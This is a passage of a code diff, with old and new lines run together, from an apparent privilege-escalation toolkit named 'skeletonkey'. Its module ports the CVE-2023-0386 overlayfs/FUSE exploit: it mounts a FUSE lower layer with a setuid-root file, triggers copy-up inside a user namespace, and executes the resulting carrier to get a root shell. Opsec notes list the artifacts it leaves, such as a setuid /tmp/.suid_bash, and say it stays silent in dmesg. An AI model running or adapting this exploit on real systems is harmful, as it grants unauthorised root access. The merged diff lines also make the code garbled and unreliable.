int fg = open("/proc/self/gid_map", O_WRONLY); if (fg >= 0) { int n = snprintf(m, sizeof m, "0 %u 1", og); (void)!write(fg, m, n); close(fg); } }
char oo[640];
snprintf(oo, sizeof oo, "lowerdir=%s,upperdir=%s,workdir=%s", lower, upper, work);
if (mount("overlay", merged, "overlay", 0, oo) < 0) { perror("mount overlay"); _exit(6); }
/* Trigger copy-up: opening the merged file copies it from the FUSE
* lower into the real upper, preserving setuid + root uid. */
int cf = open(mfile, O_WRONLY | O_CREAT, 0666); if (cf >= 0) close(cf);
_exit(0);
}
waitpid(xpid, NULL, 0);
/* Tear the FUSE mount down now that copy-up is done (upper/file persists
* on the real fs). */
{ char cmd[400];
snprintf(cmd, sizeof cmd, "fusermount3 -u '%s' 2>/dev/null || fusermount -u '%s' 2>/dev/null", lower, lower);
(void)!system(cmd); }
kill(fpid, SIGKILL); waitpid(fpid, NULL, 0);
struct stat us;
if (stat(carrier, &us) != 0) {
if (!ctx->json)
fprintf(stderr, "[-] overlayfs_setuid: copy-up did not materialise %s — kernel may be "
"patched\n", carrier);
goto fail; goto fail;
} }
if (!ctx->json) { if (!ctx->json)
fprintf(stderr, "[+] overlayfs_setuid: upper-layer %s has setuid bit; execing\n", fprintf(stderr, "[+] overlayfs_setuid: copy-up produced %s (uid=%u mode=%04o) — executing "
upper_carrier); "as the real user\n", carrier, (unsigned)us.st_uid, (unsigned)(us.st_mode & 07777));
}
if (ctx->no_shell) { if (ctx->no_shell) {
fprintf(stderr, "[+] overlayfs_setuid: --no-shell — file planted at %s\n", fprintf(stderr, "[+] overlayfs_setuid: --no-shell — setuid-root carrier planted at %s\n", carrier);
upper_carrier);
return SKELETONKEY_EXPLOIT_OK; return SKELETONKEY_EXPLOIT_OK;
} }
fflush(NULL); fflush(NULL);
execl(upper_carrier, upper_carrier, (char *)NULL); pid_t r = fork();
perror("execl upper carrier"); if (r == 0) {
int dn = open("/dev/null", O_RDONLY); if (dn >= 0) { dup2(dn, 0); close(dn); }
execl(carrier, carrier, (char *)NULL);
_exit(127);
}
waitpid(r, NULL, 0);
struct stat ss;
if ((stat("/tmp/.suid_bash", &ss) == 0 && (ss.st_mode & 04000)) ||
stat("/tmp/skeletonkey-ovlsu-pwned", &ss) == 0) {
if (!ctx->json) fprintf(stderr, "[+] overlayfs_setuid: ROOT — payload ran as uid 0\n");
return SKELETONKEY_EXPLOIT_OK;
}
if (!ctx->json)
fprintf(stderr, "[-] overlayfs_setuid: carrier ran but produced no root witness\n");
fail: fail:
unlink(src_path); unlink(bin_path);
rmdir(upper); rmdir(work); rmdir(merged);
rmdir(workdir);
return SKELETONKEY_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
#else /* !OVLSU_HAVE_FUSE — built without libfuse */
static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ctx *ctx)
{
skeletonkey_result_t pre = overlayfs_setuid_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE && pre != SKELETONKEY_OK) return pre;
fprintf(stderr, "[-] overlayfs_setuid: built WITHOUT libfuse — the CVE-2023-0386 exploit needs a "
"FUSE lower layer. Install libfuse3-dev (or libfuse-dev) and rebuild.\n");
(void)OVERLAYFS_SU_PAYLOAD; (void)which_gcc; (void)write_file_str;
return SKELETONKEY_PRECOND_FAIL;
}
#endif /* OVLSU_HAVE_FUSE */
static skeletonkey_result_t overlayfs_setuid_cleanup(const struct skeletonkey_ctx *ctx) static skeletonkey_result_t overlayfs_setuid_cleanup(const struct skeletonkey_ctx *ctx)
{ {
(void)ctx; (void)ctx;
@@ -471,7 +650,7 @@ const struct skeletonkey_module overlayfs_setuid_module = {
.detect_sigma = overlayfs_setuid_sigma, .detect_sigma = overlayfs_setuid_sigma,
.detect_yara = overlayfs_setuid_yara, .detect_yara = overlayfs_setuid_yara,
.detect_falco = overlayfs_setuid_falco, .detect_falco = overlayfs_setuid_falco,
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNS) + overlayfs mount with a setuid-root binary in lower (e.g. /usr/bin/su); chown on the merged view triggers copy-up that preserves the setuid bit in upper - but upper is owned by the unprivileged user. Overwrites upper-layer contents with attacker payload and execve's for root. Artifacts: /tmp/skeletonkey-ovlsu-XXXXXX/ (workdir with payload.c, binary, overlay mounts); cleanup callback removes these. Audit-visible via unshare(CLONE_NEWUSER|CLONE_NEWNS) + mount(overlay) + chown on the merged view. No network. Dmesg silent on success.", .opsec_notes = "Faithful CVE-2023-0386 port: a libfuse filesystem exports a setuid-root /file (st_uid=0, mode 04777), mounted in the init ns via the setuid fusermount helper; then unshare(CLONE_NEWUSER|CLONE_NEWNS) + overlayfs mount with that FUSE mount as lowerdir; open(merged/file, O_WRONLY) triggers copy-up that materialises upper/file as a real setuid-root binary, which the unprivileged parent execs for root. Artifacts: /tmp/skeletonkey-ovlsu-XXXXXX/ (workdir: payload.c, the payload ELF, FUSE mount at lower/, overlay upper/work/merged), plus a setuid /tmp/.suid_bash and /tmp/skeletonkey-ovlsu-pwned witness dropped by the root payload; cleanup callback removes /tmp/skeletonkey-ovlsu-*. Audit-visible via mount(fuse) + fusermount execve + unshare(CLONE_NEWUSER|CLONE_NEWNS) + mount(overlay), then a setuid-root binary exec by a non-root uid. No network. Dmesg silent on success.",
.arch_support = "x86_64+unverified-arm64", .arch_support = "x86_64+unverified-arm64",
}; };